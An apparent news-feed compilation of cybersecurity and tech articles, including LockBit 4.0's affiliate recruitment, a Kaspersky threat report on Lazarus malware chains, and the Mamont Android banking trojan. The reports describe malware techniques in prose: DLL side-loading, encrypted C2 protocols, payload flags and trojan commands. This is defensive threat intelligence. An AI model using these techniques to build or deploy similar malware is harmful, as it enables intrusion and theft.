EU-ACT 2 è un progetto di cooperazione che fornisce sostegno ai paesi terzi nella lotta alla criminalità organizzata, migliorando le loro capacità di affrontare le minacce dal punto di vista dello stato di diritto. Questa iniziativa fa parte del Programma dell’UE per contrastare i flussi illeciti globali (GIFP). Con un budget di 13 milioni di euro, attivo da giugno 2023 a maggio 2027, il progetto è finanziato dalla Commissione Europea attraverso il Servizio per gli Strumenti di Politica Estera (FPI) ed è realizzato attraverso la collaborazione tra FIIAPP (Spagna), CIVIPOL (Francia) e l'Arma dei Carabinieri (Italia).

L’obiettivo dell’UE-ACT 2 intende contribuire alla lotta contro la criminalità organizzata e il traffico illecito lungo le “rotte dell’eroina” dall’Afghanistan all’Europa, concentrandosi su aree geografiche critiche come l’Asia meridionale e centrale, l’Africa orientale, il Caucaso e il Medio Oriente. L’intervento è inoltre in linea con i piani operativi di Europol, con particolare attenzione all’alta reti criminali a rischio (HRCN) e traffico di stupefacenti come l’eroina e le nuove droghe sintetiche (SYD-NPS).

Gli esperti del progetto agiscono per rafforzare le capacità delle autorità di polizia e giudiziarie dei paesi beneficiari nella conduzione di operazioni e indagini congiunte, migliorare le competenze nel perseguire i casi di criminalità organizzata,
e promuovere una cooperazione transnazionale più efficace tra le autorità competenti, in linea con gli standard internazionali e i diritti umani.

Il Centro Carabinieri Cinofili, con sede in Firenze, è stato istituito l’8 novembre 1957 con il compito di assicurare l’addestramento del personale e dei quadrupedi in forza al Servizio Cinofili dell’Arma, per il loro impiego nei servizi preventivi e in operazioni di polizia giudiziaria, di ricerca e di soccorso. Svolge, inoltre, funzioni di indirizzo tecnico-addestrativo a favore di tutte le unità cinofile dell’organizzazione territoriale/forestale, attività di sperimentazione di nuove razze canine, di metodologie addestrative e di materiali di equipaggiamento, nonché la formazione di personale delle forze armate e di polizia, nazionali e straniere, che ne facciano richiesta.

#ArmadeiCarabinieri #iraq #carabiniericinofili #EU-ACT #europol

@Notizie dall'Italia e dal mondo

Il gruppo LockBit, una delle organizzazioni di cybercriminali più temute e attive nel panorama degli attacchi ransomware, ha ufficialmente lanciato la sua ultima versione: LockBit 4.0. Questo nuovo aggiornamento rappresenta una tappa evolutiva importante rispetto al precedente LockBit 3.0, conosciuto anche come LockBit Black, che già aveva guadagnato notorietà per la sua capacità di infliggere danni considerevoli a organizzazioni e aziende di ogni dimensione e settore.

LockBit 4.0 introduce una serie di nuove funzionalità avanzate, abbinate a una strategia di reclutamento che rompe con le pratiche passate, offrendo l’accesso a chiunque sia disposto a pagare una somma modesta. Questa mossa potrebbe avere implicazioni devastanti per la sicurezza informatica globale e apre un nuovo capitolo nel mondo dei ransomware.

I dettagli del rilascio di LockBit 4.0

Il messaggio promozionale con cui è stato annunciato LockBit 4.0 è tanto provocatorio quanto inquietante. Con un linguaggio sfacciato e provocativo, il gruppo si rivolge direttamente a coloro che potrebbero essere attratti dalla promessa di ricchezza e successo facile:

“Vuoi una Lamborghini, una Ferrari e tante ragazze? Iscriviti e inizia il tuo viaggio da pentester miliardario in 5 minuti con noi.”

Questa retorica, che richiama stereotipi di lusso e uno stile di vita sfarzoso, è chiaramente progettata per ammaliare e sedurre nuovi affiliati, soprattutto giovani attratti da guadagni rapidi e dall’idea di fama nel mondo underground dell’hacking.

Il processo di registrazione semplificato: accesso a pagamento con BTC o XMR

Il nuovo approccio di LockBit 4.0 è sorprendentemente aperto e inclusivo. La piattaforma mette a disposizione una schermata di login minimalista e funzionale, dove gli utenti possono registrarsi con pochi passaggi semplici. Per accedere, è necessario inserire un nome utente, una password e risolvere un captcha di verifica.

Questa procedura di accesso è supportata da due metodi di pagamento principali:

1. Bitcoin (BTC) – La criptovaluta più diffusa e utilizzata per le transazioni nel dark web.
2. Monero (XMR) – Una criptovaluta nota per l’elevato livello di anonimato, che rende le transazioni ancora più difficili da tracciare rispetto a Bitcoin.

Questa duplice opzione di pagamento offre maggiore flessibilità agli aspiranti affiliati e sottolinea l’attenzione del gruppo LockBit per garantire l’anonimato e la sicurezza delle transazioni.

Il costo di accesso: 777 USD in Bitcoin

Per accedere alla piattaforma LockBit 4.0 e ottenere il pieno controllo del ransomware, è richiesto il pagamento di una somma pari a 0,007653 BTC, equivalente a circa 777 USD. Le istruzioni fornite indicano di inviare l’importo all’indirizzo Bitcoin dedicato.

Il messaggio avverte chiaramente che il pagamento deve essere pari o superiore all’importo specificato, altrimenti la registrazione sarà annullata. Viene anche consigliato l’uso di un cryptocurrency mixer per rendere le transazioni meno tracciabili e mantenere l’anonimato.

Stato attuale del wallet Bitcoin: nessun pagamento ricevuto

Nonostante l’annuncio roboante e l’apertura a nuovi affiliati, al momento l’indirizzo Bitcoin fornito per il pagamento non mostra ancora alcuna transazione. Il saldo confermato e non confermato è infatti pari a 0 BTC (0 USD), come evidenziato nella seguente schermata:

Questa mancanza di attività potrebbe indicare:

1. Scetticismo iniziale da parte dei potenziali affiliati, che potrebbero voler attendere ulteriori prove di successo prima di investire.
2. Paura di monitoraggio da parte delle forze dell’ordine, che spesso tengono sotto osservazione questi indirizzi Bitcoin.
3. Cautela da parte di chi è interessato ma preferisce utilizzare Monero per garantire un livello di anonimato più elevato.

Cosa offre la piattaforma di LockBit 4.0?

Una volta effettuato il pagamento e completata la registrazione, gli utenti ottengono immediatamente l’accesso al pannello di controllo del ransomware. Da questa piattaforma è possibile:

• Creare build personalizzate del ransomware per sistemi Windows, ESXi e Linux.
• Gestire campagne di attacchi ransomware in modo organizzato e automatizzato.
• Comunicare con le vittime per negoziare il riscatto e gestire le richieste di pagamento.
• Scaricare strumenti di crittografia avanzati per bloccare i sistemi delle vittime in modo rapido ed efficiente.

Un cambio di approccio radicale: la democratizzazione del cybercrimine

L’apertura di LockBit 4.0 a chiunque sia disposto a pagare rappresenta un cambiamento radicale nel modello di business dei ransomware. In passato, l’accesso a strumenti così avanzati era riservato a pochi affiliati selezionati e fidati. Ora, con una somma accessibile di 777 USD, chiunque con una conoscenza informatica di base può accedere a strumenti potenti e dannosi.

Questa strategia di democratizzazione del cybercrimine porta con sé implicazioni devastanti:

1. Esplosione degli attacchi ransomware: Un numero maggiore di attori malevoli potrebbe lanciare attacchi, colpendo aziende e organizzazioni di ogni dimensione.
2. Maggiore imprevedibilità e caos: La facilità di accesso significa che anche hacker meno esperti potrebbero scatenare attacchi maldestri ma comunque devastanti.
3. Sovraccarico delle infrastrutture di sicurezza: Con un incremento esponenziale degli attacchi, le aziende potrebbero non riuscire a difendersi adeguatamente.

Un monito ai giovani attratti dal cybercrimine

L’annuncio di LockBit 4.0 può sembrare allettante, soprattutto per i giovani affascinati dalla promessa di denaro facile e successo immediato. Tuttavia, è fondamentale ricordare che entrare nel mondo del cybercrimine è illegale e comporta rischi enormi.

Attività come il lancio di ransomware, l’accesso non autorizzato a sistemi informatici e l’estorsione costituiscono reati gravi, tra cui:

• Frode informatica
• Sostituzione di persona
• Estorsione
• Accesso abusivo a sistema informatico (punito dall’art. 615 ter del Codice Penale con la reclusione fino a tre anni)

Anche atti apparentemente innocui, come curiosare nei sistemi altrui per dimostrare le proprie competenze, sono illegali e possono avere conseguenze devastanti sulla vita personale e professionale.

Esistono percorsi legali e stimolanti nel mondo della cybersecurity. Le competenze informatiche possono essere impiegate per difendere aziende e istituzioni, proteggere dati sensibili e contrastare i cybercriminali. Scegliere la strada della legalità e dell’etica offre soddisfazioni personali e professionali durature, contribuendo a un mondo digitale più sicuro per tutti.

Sfrutta le tue capacità per creare, proteggere e innovare. La tua abilità può fare la differenza, ma solo se usata con responsabilità.

L'articolo LockBit 4.0: Il nuovo ransomware apre le porte a chiunque sia disposto a pagare proviene da il blog della sicurezza informatica.

Over the past few years, the Lazarus group has been distributing its malicious software by exploiting fake job opportunities targeting employees in various industries, including defense, aerospace, cryptocurrency, and other global sectors. This attack campaign is called the DeathNote campaign and is also referred to as “Operation DreamJob”. We have previously published the history of this campaign.

Recently, we observed a similar attack in which the Lazarus group delivered archive files containing malicious files to at least two employees associated with the same nuclear-related organization over the course of one month. After looking into the attack, we were able to uncover a complex infection chain that included multiple types of malware, such as a downloader, loader, and backdoor, demonstrating the group’s evolved delivery and improved persistence methods.

In this blog, we provide an overview of the significant changes in their infection chain and show how they combined the use of new and old malware samples to tailor their attacks.

Never giving up on their goals

Our past research has shown that Lazarus is interested in carrying out supply chain attacks as part of the DeathNote campaign, but this is mostly limited to two methods: the first is by sending a malicious document or trojanized PDF viewer that displays the tailored job descriptions to the target. The second is by distributing trojanized remote access tools such as VNC or PuTTY to convince the targets to connect to a specific server for a skills assessment. Both approaches have been well documented by other security vendors, but the group continues to adapt its methodology each time.

The recently discovered case falls under the latter approach. However, except for the initial vector, the infection chain has completely changed. In the case we discovered, the targets each received at least three archive files allegedly related to skills assessments for IT positions at prominent aerospace and defense companies. We were able to determine that two of the instances involved a trojanized VNC utility. Lazarus delivered the first archive file to at least two people within the same organization (we’ll call them Host A and Host B). After a month, they attempted more intensive attacks against the first target.

Malicious files created on the victims’ hosts

Appearing with state-of-the-art weapons

In the first case, in order to go undetected, Lazarus delivered malicious compressed ISO files to its targets, since ZIP archives are easily detected by many services. Although we only saw ZIP archives in other cases, we believe the initial file was also an ISO. It is unclear exactly how the files were downloaded by the victims. However, we can assess with medium confidence that the ISO file was downloaded using a Chromium-based browser. The first VNC-related archive contained a malicious VNC, and the second contained a legitimate UltraVNC Viewer and a malicious DLL.

Malicious AmazonVNC.exe (left) / Legitimate vncviewer.exe (right)

The first ISO image contains a ZIP file that contains two files: AmazonVNC.exe and readme.txt. The AmazonVNC.exe file is a trojanized version of TightVNC – a free and open source VNC software that allows anyone to edit the original source code. When the target executes AmazonVNC.exe, a window like the one in the image above pops up. The IP address to enter in the ‘Remote Host’ field is stored in the readme.txt file along with a password. It is likely that the victim was instructed to use this IP via a messenger, as Lazarus tends to pose as recruiters and contact targets on LinkedIn, Telegram, WhatsApp, etc. Once the IP is entered, an XOR key is generated based on it. This key is used to decrypt internal resources of the VNC executable and unzip the decrypted data. The unzipped data is in fact a downloader we dubbed Ranid Downloader, which is loaded into memory by AmazonVNC.exe to execute further malicious operations.

The [Company name]_Skill_Assessment_new.zip file embeds UltraVNC’s legitimate vncviewer.exe, which is open source VNC software like TightVNC. The ZIP file also contains the malicious file vnclang.dll, which is loaded using side-loading. Although we have not been able to obtain the malicious vnclang.dll, we classified it as a loader of the MISTPEN malware described by Mandiant in a recent report, based on its communication with the C2 – namely the payloads, which use the same format as payloads on the MISTPEN server we were able to obtain. According to our telemetry, in our particular case, MISTPEN ultimately fetched an additional payload under the name [Random ID]_media.dat from the C2 server twice. The first payload turned out to be RollMid, which was described in detail in an Avast report published in April 2024. The second was identified as a new LPEClient variant. MISTPEN and RollMid are both relatively new malicious programs from the Lazarus group that were unveiled this year, but were still undocumented at the time of the actual attack.

CookieTime still in use

Another piece of malware found on the infected hosts was CookieTime. We couldn’t quite figure out how the CookieTime malware was delivered to Host A, but according to our telemetry, it was executed as the
SQLExplorer service after the installation of LPEClient. In the early stages, CookieTime functioned by directly receiving and executing commands from the C2 server, but more recently it has been used to download payloads.
The actor moved laterally from Host A to Host C, where CookieTime was used to download several malware strains, including LPEClient, Charamel Loader, ServiceChanger, and an updated version of CookiePlus, which we’ll discuss later in this post. Charamel Loader is a loader that takes a key as a parameter and decrypts and loads internal resources using the ChaCha20 algorithm. To date, we have identified three malware families delivered and executed by this loader: CookieTime, CookiePlus, and ForestTiger, the latter of which was seen in an attack unrelated to those discussed in the article.

The ServiceChanger malware stops a targeted legitimate service and then stores malicious files from its resource section to disk so that when the legitimate service is restarted, it loads the created malicious DLL via DLL side-loading. In this case, the targeted service was ssh-agent and the DLL file was libcrypto.dll. Lazarus’s ServiceChanger behaves differently than the similarly named malware used by Kimsuky. While Kimsuky registers a new malicious service, Lazarus exploits an existing legitimate service for DLL side-loading.

There were several cases where CookieTime was loaded by DLL side-loading and executed as a service. Interestingly, CookieTime supports many different ways of loading, which also results in different entry points, as can be seen below:

Overall malware-to-malware flowchart

CookiePlus capable of downloading both DLL and shellcode

CookiePlus is a new plugin-based malicious program that we discovered during the investigation on Host C. It was initially loaded by both ServiceChanger and Charamel Loader. The difference between each CookiePlus loaded by Charamel Loader and by ServiceChanger is the way it is executed. The former runs as a DLL alone and includes the C2 information in its resources section, while the latter fetches what is stored in a separate external file like msado.inc, meaning that CookiePlus has the capability to get a C2 list from both an internal resource and an external file. Otherwise, the behavior is the same.

When we first discovered CookiePlus, it was disguised as ComparePlus, an open source Notepad++ plugin. Over the past few years, the group has consistently impersonated similar types of plugins. However, the most recent CookiePlus sample, discovered in an infection case unrelated to those discussed in the article, is based on another open source project, DirectX-Wrappers, which was developed for the purpose of wrapping DirectX and Direct3D DLLs. This suggests that the group has shifted its focus to other themes in order to evade defenses by masquerading as public utilities.

Because CookiePlus acts as a downloader, it has limited functionality and transmits minimal information from the infected host to the C2 server. During its initial communication with the C2, CookiePlus generates a 32-byte data array that includes an ID from its configuration file, a specific offset, and calculated step flag data (see table below). One notable aspect is the inclusion of a specific offset that points to the last four bytes of the configuration file path. While this offset appears random due to ASLR, it could potentially allow the group to determine if the offset remains fixed. This could help distinguish whether the payload is being analyzed by an analyst or security products.

The array is then encrypted using a hardcoded RSA public key. Next, CookiePlus encodes the RSA-encrypted data using Base64. It is set as the cookie value in the HTTP header and passed to the C2. This cookie data is used in the follow up communication, possibly for authentication. CookiePlus then retrieves an additional encrypted payload received from the C2 along with cookie data. Unfortunately, during our investigating of this campaign, it was not possible to set up a connection to the C2, so the exact data returned is unknown.

CookiePlus then decodes the payload using Base64. The result is a data structure containing the ChaCha20-encrypted payload, as shown below. It is possible that the entire payload is not received at once. To know when to stop requesting more data, CookiePlus looks at the value of the offset located at 0x07 and continues to request more data until the value is set to 1.

Next, the payload is decrypted using the previously generated 32-byte data array as a key and the delivered nonce. The type of payload is determined by the flag at offset 0x04, which can be either a DLL or shellcode.

If the value of the flag is 0xBEF0, the encrypted payload is a DLL file that is loaded into memory. The payload can also contain a parameter that is passed to the DLL when loaded.

If the value is 0xBEEF, CookiePlus checks whether the first four bytes of the payload are smaller than
0x80000000. If so, the shellcode in the payload is loaded after being granted execute permission. After the shellcode is executed, the ChaCha20-encrypted result is sent to the C2. For the encryption, the same 32-byte data array is again used as the key, and a 12-byte nonce is randomly generated. As a result, the following structure is sent to the C2.

This process of continuously downloading additional payloads persists until the C2 stops responding.

CookiePlus C2 communication process

We managed to obtain three different shellcodes loaded by CookiePlus. The shellcodes are actually DLLs that are converted to shellcode using the sRDI open source shellcode generation tool. These DLLs then act as plugins. The functionality of each of the three plugins is as follows and the execution result of the plugin is encrypted and sent to the C2.

Based on all of the above, we assess with medium confidence that CookiePlus is the successor to MISTPEN. Despite there being no notable code overlap, there are several similarities. For example, both disguise themselves as Notepad++ plugins.

In addition, the CookiePlus samples were compiled and used in June 2024, while the latest MISTPEN samples we were able to find were compiled in January and February 2024, although we suspect that MISTPEN was also used in the discussed campaign. MISTPEN also used similar plugins such as
TBaseInfo.dll and hiber.dll just like CookiePlus. The fact that CookiePlus is more complete than MISTPEN and supports more execution options also supports our claim.

Infrastructure

The Lazarus group used compromised web servers running WordPress as C2s for the majority of this campaign. Samples such as MISTPEN, LPEClient, CookiePlus and RollMid used such servers as their C2. For CookieTime, however, only one of the C2 servers we identified ran a website based on WordPress. Additionally, all the C2 servers seen in this campaign run PHP-based web services not bounded to a specific country.

Conclusion

Throughout its history, the Lazarus group has used only a small number of modular malware frameworks such as Mata and Gopuram Loader. Introducing this type of malware is an unusual strategy for them. The fact that they do introduce new modular malware, such as CookiePlus, suggests that the group is constantly working to improve their arsenal and infection chains to evade detection by security products.

The problem for defenders is that CookiePlus can behave just like a downloader. This makes it difficult to investigate whether CookiePlus downloaded just a small plugin or the next meaningful payload. From our analysis, it appears to be still under active development, meaning Lazarus may add more plugins in the future.

Indicators of compromise

Trojanized VNC utility

Ranid Downloader

CookieTime

Charamel Loader

ServiceChanger

CookiePlus Loader

CookiePlus

CookiePlus plugins

MISTPEN

securelist.com/lazarus-new-mal…

If you want to build semiconductors at home, it seems like the best place to start might be to find a used scanning electron microscope on eBay. At least that’s how [Peter Bosch] kicked off his electron beam lithography project, and we have to say the results are pretty impressive.

Now, most of the DIY semiconductor efforts we’ve seen start with photolithography, where a pattern is optically projected onto a substrate coated with a photopolymer resist layer so that features can be etched into the surface using various chemical treatments. [Peter]’s method is similar, but with important differences. First, for a resist he chose poly-methyl methacrylate (PMMA), also known as acrylic, dissolved in anisole, an organic substance commonly used in the fragrance industry. The resist solution was spin-coated into a test substrate of aluminized Mylar before going into the chamber of the SEM.

As for the microscope itself, that required a few special modifications of its own. Rather than rastering the beam across his sample and using a pattern mask, [Peter] wanted to draw the pattern onto the resist-covered substrate directly. This required an external deflection modification to the SEM, which we’d love to hear more about. Also, the SEM didn’t support beam blanking, meaning the electron beam would be turned on even while moving across areas that weren’t to be exposed. To get around this, [Peter] slowed down the beam’s movements while exposing areas in the pattern, and sped it up while transitioning to the next feature. It’s a pretty clever hack, and after development and etching with a cocktail of acids, the results were pretty spectacular. Check it out in the video below.

It’s pretty clear that this is all preliminary work, and that there’s much more to come before [Peter] starts etching silicon. He says he’s currently working on a thermal evaporator to deposit thin films, which we’re keen to see. We’ve seen a few sputtering rigs for thin film deposition before, but there are chemical ways to do it, too.

youtube.com/embed/HA9p38AnByY?…

hackaday.com/2024/12/19/homebr…

La tensione tra Stati Uniti e Cina si intensifica, e stavolta il protagonista è TP-Link, un colosso del mercato dei dispositivi di rete. La possibilità di un bando completo dei dispositivi TP-Link negli USA non è più un’ipotesi remota. Secondo fonti del Wall Street Journal, le agenzie governative statunitensi, tra cui i dipartimenti di Commercio, Difesa e Giustizia, stanno indagando sull’azienda, sospettata di rappresentare un rischio per la sicurezza nazionale.

Il cuore del problema

Fondata in Cina nel 1996, TP-Link è un colosso del settore tecnologico, con una significativa presenza nel mercato statunitense. I suoi dispositivi non sono solo diffusi nelle case americane ma anche in strutture sensibili come basi militari e agenzie governative. La preoccupazione nasce da due fattori principali:

1. Vulnerabilità intrinseche: Secondo il WSJ, i router TP-Link presentano difetti di sicurezza al momento della spedizione, e l’azienda non sembra rispondere prontamente alle segnalazioni dei ricercatori.
2. Utilizzo da parte di hacker cinesi: Microsoft ha rivelato che migliaia di router TP-Link sono stati sfruttati come parte di una botnet per attacchi contro utenti della piattaforma Azure. Questo evidenzia come dispositivi di uso comune possano essere trasformati in strumenti di cyberattacco.

Un mercato vulnerabile

Con TP-Link che domina il mercato dei router Wi-Fi negli USA, il rischio è amplificato. I dispositivi dell’azienda sono i più acquistati su Amazon e sono presenti persino nelle basi militari. La gravità della situazione è stata sottolineata in una lettera inviata al Segretario al Commercio Gina Raimondo, in cui si sottolinea come i router TP-Link siano diventati il veicolo preferito per attacchi estesi.

Rischio consapevole?

Nonostante le accuse, non è ancora stato dimostrato che TP-Link agisca deliberatamente per favorire il governo cinese. Tuttavia, l’azienda è obbligata a rispettare le leggi cinesi, incluse quelle che prevedono la collaborazione con le autorità di Pechino. Questo, unito alla mancanza di trasparenza e di dialogo con i ricercatori di sicurezza, accresce i sospetti.

Questione geopolitica

Il possibile bando di TP-Link è solo l’ultima mossa di un più ampio sforzo degli Stati Uniti per contenere l’influenza tecnologica cinese. La chiusura delle operazioni di China Telecom e il crescente controllo su aziende come Huawei e ZTE mostrano un chiaro trend: la cyber-sicurezza è diventata un campo di battaglia cruciale nella geopolitica.

Conclusione

La situazione TP-Link è un monito per aziende e utenti. L’uso di dispositivi economici ma potenzialmente insicuri potrebbe costare caro, non solo in termini finanziari ma anche di sicurezza nazionale.

Gli Stati Uniti sembrano determinati a proteggere la loro infrastruttura critica, e il caso TP-Link è destinato a diventare un esempio emblematico di come la tecnologia possa essere un’arma a doppio taglio. Gli sviluppi futuri diranno se il prezzo della connessione economica è troppo alto da pagare.

L'articolo TP-Link nella bufera: le autorità USA puntano il dito su attacchi Cyber cinesi proviene da il blog della sicurezza informatica.

Si intitola “Infostealer: un pacco da Babbo Natale… con dentro le tue password“ il Report di Intelligence prodotto dalla terza Live Class del corso “Dark Web & Cyber Threat Intelligence“.

Sotto la guida esperta del prof. Pietro Melillo, il team di 14 persone che ha da poco concluso il corso in Live Class realizzato da Red Hot Cyber, ha prodotto un report di intelligence sugli infostealer. Si tratta di un tema cruciale e spesso poco dibattuto, che permette di comprendere e affrontare le moderne minacce cibernetiche provenienti dalle botnet, anche dal punto di vista legale.

Babbo Natale quest’anno è in sciopero. Non si è limitato a non consegnare regali, ma ha deciso di rubare il tuo Wi-Fi, la tua carta di credito e, già che c’era, anche le tue password. Questo scenario, che sembra uscito da una commedia grottesca, rappresenta invece la realtà del mondo digitale moderno, in cui minacce come gli infostealer sono pronte a sfruttare ogni nostra distrazione ed ogni “situazione”.

[strong]Contattaci tramite WhatsApp al 379 163 8765 per maggiori informazioni per partecipare alla quarta classe e per bloccare il tuo posto. Oppure scrivici a: formazione@redhotcyber.com. Ricorda che il corso è a numero chiuso e i posti sono limitati.[/strong]

Gli infostealer: cosa sono e come agiscono

Gli infostealer sono malware progettati per rubare informazioni sensibili, come credenziali di accesso, dati finanziari e altre informazioni personali. Agiscono spesso in modo silente, infiltrandosi nei dispositivi tramite email di phishing, download malevoli o vulnerabilità software. Una volta raccolti i dati, questi vengono inviati a server remoti per poi essere venduti al miglior offerente o utilizzati per scopi criminali.

La pericolosità degli infostealer risiede nella loro facilità di diffusione e nella crescente accessibilità dei malware-as-a-service (MaaS). Oggi, anche un criminale informatico alle prime armi può acquistare e utilizzare strumenti sofisticati per colpire individui e organizzazioni. Questo fenomeno ha trasformato il cybercrimine in una industria globale in continua evoluzione.

Scarica il report Infostealer: un pacco da Babbo Natale… con dentro le tue password

Botnet e infostealer: un binomio pericoloso

Il report della terza classe affronta anche il legame tra botnet e infostealer. Le botnet, reti di dispositivi compromessi e controllati da remoto, sono spesso utilizzate per distribuire infostealer su larga scala. Attraverso tecniche di command and control (C2), i cybercriminali coordinano attacchi mirati, sfruttando la potenza di centinaia o migliaia di dispositivi infetti.

Questo modello organizzato consente ai malintenzionati di raccogliere enormi quantità di dati in poco tempo, rendendo l’impatto degli infostealer particolarmente devastante. Non è un caso che queste tecniche siano sempre più utilizzate non solo per furti di identità e frodi finanziarie, ma anche per campagne di spionaggio industriale e attacchi geopolitici.

[strong]Contattaci tramite WhatsApp al 379 163 8765 per maggiori informazioni per partecipare alla quarta classe e per bloccare il tuo posto. Oppure scrivici a: formazione@redhotcyber.com. Ricorda che il corso è a numero chiuso e i posti sono limitati.[/strong]

L’impatto degli infostealer

Il documento prodotto dai partecipanti al corso esplora in dettaglio l’impatto degli infostealer su individui, aziende e governi. Gli effetti possono essere devastanti:

• Per gli individui, la perdita di informazioni personali porta a furti di identità e svuotamento dei conti bancari.
• Per le aziende, la compromissione dei dati dei clienti comporta perdite economiche, danni reputazionali e sanzioni legate alla non conformità normativa.
• A livello governativo, l’utilizzo di infostealer può facilitare operazioni di spionaggio e sabotaggio.

L’analisi sottolinea come la natura discreta di questi malware renda difficile la loro individuazione, aggravando ulteriormente i danni.

Scarica il report Infostealer: un pacco da Babbo Natale… con dentro le tue password

Strategie di mitigazione e conformità normativa

Il report non si limita ad analizzare la minaccia, ma propone anche strategie di mitigazione efficaci. Dalla formazione del personale alla messa in atto di policy di cyber hygiene, passando per l’implementazione di soluzioni avanzate come endpoint detection and response (EDR) e sistemi di monitoraggio continuo, le difese devono essere proattive e multilivello.

Vengono inoltre affrontate le principali normative di riferimento, come il GDPR per la protezione dei dati personali e lo standard ISO/IEC 27001:2022 per la gestione della sicurezza delle informazioni. La conformità a queste regolamentazioni è fondamentale per ridurre il rischio e garantire la resilienza delle organizzazioni.

[strong]Contattaci tramite WhatsApp al 379 163 8765 per maggiori informazioni per partecipare alla quarta classe e per bloccare il tuo posto. Oppure scrivici a: formazione@redhotcyber.com. Ricorda che il corso è a numero chiuso e i posti sono limitati.[/strong]

Dietro le quinte di XFilesStealer

Un capitolo particolarmente interessante è dedicato all’analisi di XFilesStealer, uno degli infostealer più diffusi nel panorama attuale. I partecipanti al corso hanno studiato le dinamiche di funzionamento di questo malware, svelando le sue modalità di infiltrazione, raccolta dei dati e comunicazione con i server C2. Questo tipo di analisi consente di comprendere le tecniche utilizzate dai criminali e di sviluppare contromisure più efficaci.

Scarica il report Infostealer: un pacco da Babbo Natale… con dentro le tue password

Conclusioni e prossimi passi

Il report rappresenta un contributo significativo alla comprensione delle minacce legate agli infostealer e dimostra l’importanza di una formazione mirata e approfondita. Il terzo corso “Dark Web & Cyber Threat Intelligence”, che si è concluso con successo, ha permesso agli studenti di applicare le competenze apprese in modo pratico, sotto l’attenta supervisione del prof. Pietro Melillo.

Il Quarto corso in Live Class si svolgerà a febbraio, e le iscrizioni sono già aperte.

Al termine del corso, i partecipanti avranno l’opportunità di accedere al gruppo DarkLab, un laboratorio dedicato alla ricerca avanzata sulle minacce cyber e alla produzione di report come questo. Un’occasione unica per entrare in contatto con esperti del settore e contribuire attivamente alla lotta contro il cybercrimine.

[strong]Contattaci tramite WhatsApp al 379 163 8765 per maggiori informazioni per partecipare alla quarta classe e per bloccare il tuo posto. Oppure scrivici a: formazione@redhotcyber.com. Ricorda che il corso è a numero chiuso e i posti sono limitati.[/strong]

Scarica il report Infostealer: un pacco da Babbo Natale… con dentro le tue password

L'articolo La Terza Live Class del Corso “DarkWeb & CTI” Rilascia Il Report Sugli Infostealer proviene da il blog della sicurezza informatica.

Gli specialisti di Kaspersky Lab hanno scoperto un nuovo schema di distribuzione del trojan bancario Android Mamont, rivolto agli utenti russi. Va notato che gli attacchi sono rivolti sia a privati ​​che a rappresentanti delle imprese.

Nei mesi di ottobre e novembre 2024, le soluzioni di sicurezza dell’azienda hanno respinto oltre 31.000 attacchi Mamont contro utenti russi. I ricercatori affermano che recentemente sono emerse notizie secondo cui il malware Mamont viene diffuso nelle chat, dove gli aggressori offrono agli utenti di scaricare un’applicazione presumibilmente progettata per tracciare i pacchi con elettrodomestici regalati.

Avendo deciso di scoprire come funzionava lo schema, i ricercatori hanno provato a effettuare un ordine. Nei contatti di uno dei negozi è stato trovato il collegamento a una chat chiusa su Telegram, che indicava esattamente come effettuare un ordine: per farlo bisognava scrivere un messaggio personale al gestore. La chat privata ha visto molti partecipanti attivi porre varie domande. Gli esperti non escludono che alcuni di essi possano essere bot e siano stati utilizzati anche per evitare le attività vigilanza di potenziali acquirenti.

Il direttore della chat ha spiegato che non è richiesto alcun pagamento anticipato e che presumibilmente l’ordine può essere pagato al momento del ricevimento. Il giorno successivo all’ordine, i truffatori hanno ricevuto un messaggio che informava che l’ordine era stato spedito e che esisteva una speciale applicazione mobile per seguirlo, disponibile tramite un collegamento. Come potete immaginare, il collegamento portava a un sito di phishing dal quale la vittima avrebbe dovuto scaricare Mamont.

Oltre al collegamento, agli esperti hanno fornito anche un codice per tracciare l’ordine, che dovevano inserire nella domanda. Si noti che sebbene gli specialisti abbiano informato i rappresentanti di Telegram di account e canali fraudolenti, l’amministrazione della piattaforma non ha ancora intrapreso alcuna azione per bloccarli.

Se l’utente cade nei trucchi degli aggressori e installa l’applicazione falsa per il tracciamento dei pacchetti, all’avvio il trojan richiede l’autorizzazione per funzionare in background, funzionare con notifiche push, SMS e chiamate.

Mamont chiede quindi alla vittima di inserire il numero di tracking falso, dopodiché invia una richiesta POST al server degli aggressori con i dati relativi al dispositivo e il numero di tracciamento specificato. Si ritiene che il numero venga utilizzato per identificare la vittima. Se il codice di risposta è 200, il Trojan avvia una finestra che presumibilmente scarica le informazioni sull’ordine.

Sul dispositivo della vittima vengono lanciati anche due servizi dannosi. Il primo intercetta tutte le notifiche push e le inoltra al server degli hacker. Il secondo stabilisce una connessione con il server WebSocket degli aggressori.

Tra i comandi supportati dal malware ci sono: cambiare o nascondere l’icona dell’applicazione (changeIcon e hide), mostrare messaggi arbitrari (custom), inviare tutti gli SMS in arrivo negli ultimi tre giorni (oldsms), inviare messaggi SMS (sms), scaricare le foto dalla galleria (foto) e così via.

Va notato che meritano un’attenzione particolare i comandi personalizzati, che coinvolgono il malware che interagisce con l’utente.

Infatti, tali comandi aiutano gli aggressori a ingannare la vittima facendo inserire le loro credenziali. Quando l’utente riceve questo comando, vede una finestra con un campo per inserire informazioni di testo, che vengono poi inviate al server degli aggressori.

Il comando foto è simile a quello personalizzato, ma invece di una finestra di testo mostra una finestra per il caricamento delle immagini. Molto probabilmente, in questo modo, gli hacker stanno cercando di raccogliere dati per ulteriori frodi utilizzando l’ingegneria sociale (ad esempio, frodando denaro per conto delle forze dell’ordine o dei regolatori).

I ricercatori riassumono che, nonostante la sua semplicità, Mamont ha tutte le funzioni necessarie per rubare le credenziali, nonché per gestire l’SMS banking.

L'articolo Mamont: Il Trojan Android che Inganna con False Promesse di Regali e Tracking proviene da il blog della sicurezza informatica.

Among us Hackaday writers, there are quite a few enthusiasts for retro artifacts – and it gets even better when they’re combined in an unusual way. So, when we get a tip about a build like this by [Sam Christy], our hands sure start itching.

The story of this texting typewriter is one that beautifully blends nostalgia and modern technology. [Sam], an engineering teacher, transformed a Panasonic T36 typewriter into a device that can receive SMS messages, print them out, and even display the sender’s name and timestamp. For enthusiasts of retro gadgets, this creation bridges the gap between analog charm and digital convenience.

What makes [Sam]’s hack particularly exciting is its adaptability. By effectively replacing the original keyboard with an ESP32 microcontroller, he designed the setup to work with almost any electric typewriter. The project involves I2C communication, multiplexer circuits, and SMS management via Twilio. The paper feed uses an “infinite” roll of typing paper—something [Sam] humorously notes as outlasting magnetic tape for storage longevity.

